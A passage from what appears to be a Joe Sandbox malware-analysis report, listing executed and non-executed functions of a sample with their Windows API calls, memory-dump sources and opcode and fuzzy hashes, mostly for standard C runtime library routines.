Opcode Fuzzy Hash: 5311fe89e5bbb6f8144d190ccd1a4ab2de52fc41652baaf0b571373ec61830c6
Instruction Fuzzy Hash: 64D02B31B813392BC22032C6AC02BEA7A548B04FBAF480073FF0C6128195AD155142DD

Uniqueness

Uniqueness Score: -1.00%

Function 004040F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::locale::_Init.LIBCPMT ref: 004040F9

Part of subcall function 0040D42C: __EH_prolog3.LIBCMT ref: 0040D433
Part of subcall function 0040D42C: std::_Lockit::_Lockit.LIBCPMT ref: 0040D43E
Part of subcall function 0040D42C: std::locale::_Locimp::_New_Locimp.LIBCPMT ref: 0040D451
Part of subcall function 0040D42C: std::locale::_Setgloballocale.LIBCPMT ref: 0040D459
Part of subcall function 0040D42C: _Yarn.LIBCPMT ref: 0040D46F
Part of subcall function 0040D42C: std::_Lockit::~_Lockit.LIBCPMT ref: 0040D4AD

Strings

<q@, xrefs: 00404101, 00404107

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: std::locale::_$Lockitstd::_$H_prolog3InitLocimpLocimp::_Lockit::_Lockit::~_New_SetgloballocaleYarn
String ID: <q@
API String ID: 2548088810-2462633153
Opcode ID: 75d434b3c55fb2c25767f950240ba9db5c06ba5084519fdac0ca74f972394e0b
Instruction ID: 806fb04aff4bdb560370039d43f85a2470f1566a298686006c663e36eafa8b0e
Opcode Fuzzy Hash: 75d434b3c55fb2c25767f950240ba9db5c06ba5084519fdac0ca74f972394e0b
Instruction Fuzzy Hash: D6D0C9B0D05208BBDB04DF95D94296DB7A8DB05304F1041ADE80C57341E572AE149696

Uniqueness

Uniqueness Score: -1.00%

Function 00425066 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00424B9D: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 00424BC8

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00424EAD,?,00000000,?,00000000,?), ref: 004250C7
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00424EAD,?,00000000,?,00000000,?), ref: 00425103

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 3e86b066bf4ed533688672433e0f4052ebc23263c0b00f9fad16c8bf572d133b
Instruction ID: b00e4121a54befbb84d2bda0f50c436582f98e79b51d3324210108404a90e8c0
Opcode Fuzzy Hash: 3e86b066bf4ed533688672433e0f4052ebc23263c0b00f9fad16c8bf572d133b
Instruction Fuzzy Hash: 9B511470F00A659FDB20CF36E8407BBBBE4EF91304F94446FD09687251D6799946CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E1EA Relevance: 3.1, APIs: 2, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f185d5f917ed3a6de2f73896cd4e0c3cf0b8691fee3d1d1c92107ee122e87bc
Instruction ID: c990e1af2b5516ed2a45469fe9b2d4450c615265179bf70ea3c1a226e9c0ca46
Opcode Fuzzy Hash: 6f185d5f917ed3a6de2f73896cd4e0c3cf0b8691fee3d1d1c92107ee122e87bc
Instruction Fuzzy Hash: 1601F53F200215AFDF128FAAED5099733A9FFC57207244136FE019B594DA36E8518B49

Uniqueness

Uniqueness Score: -1.00%

Function 0040A5A0 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

std::ios_base::_Init.LIBCPMTD ref: 0040A5AA

Part of subcall function 004070B0: std::ios_base::clear.LIBCPMTD ref: 0040711C
Part of subcall function 004070B0: new.LIBCMT ref: 00407123

Part of subcall function 0040C450: ctype.LIBCPMTD ref: 0040C481

std::ios_base::_Addstd.LIBCPMT ref: 0040A5F3

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: std::ios_base::_$AddstdInitctypestd::ios_base::clear
String ID:
API String ID: 4021793725-0
Opcode ID: d5359b80accceb127700b317b594bf4fd35c3c318bb2b937e7c666cc98af3234
Instruction ID: 5d125a4c0f470632d68f33895832eca0ddbab717b6d1cc60d7a41c3cd710bd2a
Opcode Fuzzy Hash: d5359b80accceb127700b317b594bf4fd35c3c318bb2b937e7c666cc98af3234
Instruction Fuzzy Hash: F5F03170A04208EFDB04DF91C991BAEB771BB44304F2041ADE5052B3C2CB35AF50DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00414369 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 004140B7: try_get_function.LIBVCRUNTIME ref: 004140CC

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00414387
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00414392

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 9da728a8ac5ba5f22fcb170992721884ad7613fcc42c43d22c8ebd5a4a0731e7
Instruction ID: 8a2e06084ac01e773ab60376658dff4023199fedf8c9d012dd1d8c1c09ee633e
Opcode Fuzzy Hash: 9da728a8ac5ba5f22fcb170992721884ad7613fcc42c43d22c8ebd5a4a0731e7
Instruction Fuzzy Hash: E0D0A93864430614AD1023F67802ACA228848F2BB9BB0079BF93086EC1EA7C80C2212F

Uniqueness

Uniqueness Score: -1.00%

Function 0041D295 Relevance: 2.6, APIs: 2, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00414CB6,00401405), ref: 0041D299
SetLastError.KERNEL32(00000000,00414CB6,00401405), ref: 0041D33B

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: e6d39e4b534a464421db0187c20716c7080e0e6dd5663b8d9adddf0a52a563fd
Instruction ID: 8b98d50797470afa0e04d388ae90ad5186526a42c812345aec62986ec25b2485
Opcode Fuzzy Hash: e6d39e4b534a464421db0187c20716c7080e0e6dd5663b8d9adddf0a52a563fd
Instruction Fuzzy Hash: 631129B9B052186EE2102B765DC6DEB26489B4536A7500137FD25C61E1D6BCCCC2416E

Uniqueness

Uniqueness Score: -1.00%

Function 00424C71 Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(FFFFF9B5,?,00000005,00424EAD,?), ref: 00424CA3

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 6f795c6f76dd338988b836bd89f080f8d4c8bf7e4b157a4591a9253f110aa54b
Instruction ID: 8753b2c5cc76c907a0c7ac4c56318f0ba9ec433021d5659f198934512aa63ee3
Opcode Fuzzy Hash: 6f795c6f76dd338988b836bd89f080f8d4c8bf7e4b157a4591a9253f110aa54b
Instruction Fuzzy Hash: 51517DB16041689BDB118F29DD84BE6BBACFF96304F5401EAD449C7142C3795D45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004036A0 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 004036C5

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::
String ID:
API String ID: 3936482309-0
Opcode ID: b6c05efd78c7e5caa180ca250f1d203424b2bcc091f8b73780a1cfc2184ecb03
Instruction ID: 7902fc919d1c17492ab1cc7ffb4afcd0c8c32c32fc003c8b3472c96a61902ccf
Opcode Fuzzy Hash: b6c05efd78c7e5caa180ca250f1d203424b2bcc091f8b73780a1cfc2184ecb03
Instruction Fuzzy Hash: D411C978A14108EFCB08DF98C69099DBBF1FF89305F648299E9056B355C735AF01EB94

Uniqueness

Uniqueness Score: -1.00%

Function 00417F30 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,0041D2E2,00000001,00000364,?,00000005,000000FF,?,?,00414CB6,00401405), ref: 00417F71

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 722eeb20406246d4f45ed87f42e3520fa4df828a3c50a0ce097bf4999c6e137f
Instruction ID: 9aee0afedecdbada69a9e30f4908b58eed82883aaa5734ca2ecbae2eff1ca257
Opcode Fuzzy Hash: 722eeb20406246d4f45ed87f42e3520fa4df828a3c50a0ce097bf4999c6e137f
Instruction Fuzzy Hash: 36F0E93264D52567DB216B269C01BDB3768EF817A0B154127FC04962C0CE38DCC3C6ED

Uniqueness

Uniqueness Score: -1.00%

Function 00240838 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002407DA: GetSystemInfo.KERNELBASE(?), ref: 002407F7

VirtualAllocExNuma.KERNELBASE(00000000), ref: 0024089D

Memory Dump Source

Source File: 00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: AllocInfoNumaSystemVirtual
String ID:
API String ID: 449148690-0
Opcode ID: 5104fe00cea5b6b43bfce270a0a2c81ff317ca7eb47637b87448d486c4f4107a
Instruction ID: a2dcb66f865b1de42624bc9250ef64b74825ab2ec442d39018592a2dd3ca09da
Opcode Fuzzy Hash: 5104fe00cea5b6b43bfce270a0a2c81ff317ca7eb47637b87448d486c4f4107a
Instruction Fuzzy Hash: D7F01870D64309BAEB187BF04D8B76D76789F00301F105565B740771C3DA7856A09EA6

Uniqueness

Uniqueness Score: -1.00%

Function 004190EC Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00419465,?,?,?,00000003,00414846,?,004147B5,?,?,004149C4), ref: 0041911E

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5170a7218ec762228ecb3ddf93c5b79675e84a345c7e991e62c15e66292c1a64
Instruction ID: 099f54923895ef26ee8c0b5d8900e6df5326b259f005dc1aee25551aefbd1993
Opcode Fuzzy Hash: 5170a7218ec762228ecb3ddf93c5b79675e84a345c7e991e62c15e66292c1a64
Instruction Fuzzy Hash: 53E08C3220122676A62036265C196DB2648AB423F0F190127E80592281EA2C8CC141AD

Uniqueness

Uniqueness Score: -1.00%

Function 00403720 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00403734

Part of subcall function 004040F0: std::locale::_Init.LIBCPMT ref: 004040F9

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Initstd::locale::_
String ID:
API String ID: 1620887387-0
Opcode ID: 0c173d5caec885834f1ca079fb9a3f4cd39e4802722259f1944fff307c9b3f42
Instruction ID: bb79945e1b33a062876b9f4fc9bfd4ceefe74c0201631f967b5295d4923d40ac
Opcode Fuzzy Hash: 0c173d5caec885834f1ca079fb9a3f4cd39e4802722259f1944fff307c9b3f42
Instruction Fuzzy Hash: 2EF0DAB4D01208EBDB04EF95D54569DBBB4AB44305F1080BAD80577381D7796F15DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0040C450 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

Part of subcall function 004030F0: std::_Lockit::_Lockit.LIBCPMT ref: 004030FB
Part of subcall function 004030F0: int.LIBCPMTD ref: 0040310D
Part of subcall function 004030F0: std::_Lockit::~_Lockit.LIBCPMT ref: 0040319E

ctype.LIBCPMTD ref: 0040C481

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_ctype
String ID:
API String ID: 2260400482-0
Opcode ID: 559e00e182da1efc1ee844143e54b5289b8d7ac1d90be60e135f66b04a4fc01f
Instruction ID: e2f409fb53aec5c17ccbf3e1a26e35ab223a41ad27f3796d946f1401872551dc
Opcode Fuzzy Hash: 559e00e182da1efc1ee844143e54b5289b8d7ac1d90be60e135f66b04a4fc01f
Instruction Fuzzy Hash: 90E01AB6C0010CAACB04FBA5D8528AEBB78AA50204F0045BEA91567282EA346A149799

Uniqueness

Uniqueness Score: -1.00%

Function 0040ED65 Relevance: 1.5, APIs: 1, Instructions: 9COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtInitializeCriticalSectionEx.LIBCPMT ref: 0040ED72

Part of subcall function 0040F42F: InitializeCriticalSectionEx.KERNELBASE(?,?,?,?,?,0040ED77,?,00000FA0,00000000), ref: 0040F451

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$___crt
String ID:
API String ID: 348918074-0
Opcode ID: bb96c681368f379992a3cfb1baa5672ed95cdbd770d999199ec2d46a85b23992
Instruction ID: 81ccd7ab2f72141b8f239c17b5140be84f2a54311d37a3273f4849baef594561
Opcode Fuzzy Hash: bb96c681368f379992a3cfb1baa5672ed95cdbd770d999199ec2d46a85b23992
Instruction Fuzzy Hash: 5EB0927168420C36D9202582EC03B263A184751B64E800035BA0C2CAE1A9A265A8508A

Uniqueness

Uniqueness Score: -1.00%

Function 0024073A Relevance: 1.3, APIs: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,17D78400,00003000,00000004), ref: 00240777

Memory Dump Source

Source File: 00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fefa28e21f4d9309c1ecd3ac6253e750ecc73c234d91debfceddd181198d7f09
Instruction ID: 3b4288ff085a1ff28d00ca07eb53c5ad4003a470c6c7735394b11ded1c37d44a
Opcode Fuzzy Hash: fefa28e21f4d9309c1ecd3ac6253e750ecc73c234d91debfceddd181198d7f09
Instruction Fuzzy Hash: 33110670D10219AFDB04EFA8CC89BAEFBB4EB04304F2084A5EA15B7291D2755A949F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004270EB Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041D144: GetLastError.KERNEL32(00000000,?,00422D57), ref: 0041D148
Part of subcall function 0041D144: SetLastError.KERNEL32(00000000,00000000,00000000,00000005,000000FF), ref: 0041D1EA

GetACP.KERNEL32(?,?,?,?,?,?,0041B708,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 004271AA
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0041B708,?,?,?,00000055,?,-00000050,?,?), ref: 004271E1
_wcschr.LIBVCRUNTIME ref: 00427275
_wcschr.LIBVCRUNTIME ref: 00427283
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00427344

Strings

utf8, xrefs: 004272B3

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 59a1193c5fd235517ba1f104041047f1f23dfd82996aed35ec7635ed8f74d4e5
Instruction ID: 9fd03cb1456cb38658fe38fed3da33ca446464b993f4dd20f80c9fffb3498d2f
Opcode Fuzzy Hash: 59a1193c5fd235517ba1f104041047f1f23dfd82996aed35ec7635ed8f74d4e5
Instruction Fuzzy Hash: C9710771704222AAEB24AB75EC42BB773A8EF45704F94406FF905D7281EB7CE841C669

Uniqueness

Uniqueness Score: -1.00%

Function 00427884 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00427B96,00000002,00000000,?,?,?,00427B96,?,00000000), ref: 0042791D
GetLocaleInfoW.KERNEL32(?,20001004,00427B96,00000002,00000000,?,?,?,00427B96,?,00000000), ref: 00427946
GetACP.KERNEL32(?,?,00427B96,?,00000000), ref: 0042795B

Strings

OCP, xrefs: 004278D8
ACP, xrefs: 004278A2

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 8e23217b7e23a1a0e8f98d1ad00557f1d828ea6f4db9ff5ed9e711d7bd3462b8
Instruction ID: 5290885cfc00b83c3f91c7a702aa8d530f52b881acbc8a7619dbb9977bacb9d1
Opcode Fuzzy Hash: 8e23217b7e23a1a0e8f98d1ad00557f1d828ea6f4db9ff5ed9e711d7bd3462b8
Instruction Fuzzy Hash: 4121F8B2B0C220E6FB349F25E844A9777A7AF54B50BD68036E809D7310E736DD81C358

Uniqueness

Uniqueness Score: -1.00%

Function 00427A60 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041D144: GetLastError.KERNEL32(00000000,?,00422D57), ref: 0041D148
Part of subcall function 0041D144: SetLastError.KERNEL32(00000000,00000000,00000000,00000005,000000FF), ref: 0041D1EA

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00427B68
IsValidCodePage.KERNEL32(00000000), ref: 00427BA6
IsValidLocale.KERNEL32(?,00000001), ref: 00427BB9
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00427C01
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00427C1C

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: d7d38c1dbc8375ba807f56712a0814b1f73bb466e4f4d3c4fc6ce9b0d1ddd85b
Instruction ID: b7a06ed6196ae2854c6a8c05903e04cb68c936f492ae398200924b9b6a2e2900
Opcode Fuzzy Hash: d7d38c1dbc8375ba807f56712a0814b1f73bb466e4f4d3c4fc6ce9b0d1ddd85b
Instruction Fuzzy Hash: 6D51A771B04229AFDB10DFA6EC41ABFB7B8FF05704F94446AE900D7290E7789941CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004194C0 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 232060ec543fad4a72ddf1d301f3bb8b6b25618b481cda5dcf5b8ab73e5fd112
Instruction ID: 425e93765f09731f267595844137da8e3b1562ec2c5d14cc36b7def31baa011b
Opcode Fuzzy Hash: 232060ec543fad4a72ddf1d301f3bb8b6b25618b481cda5dcf5b8ab73e5fd112
Instruction Fuzzy Hash: 20023A71E002199BDF14CFA9C9906EEBBB1FF49314F24826AD919A7380D735AE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00427508 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0041D144: GetLastError.KERNEL32(00000000,?,00422D57), ref: 0041D148
Part of subcall function 0041D144: SetLastError.KERNEL32(00000000,00000000,00000000,00000005,000000FF), ref: 0041D1EA

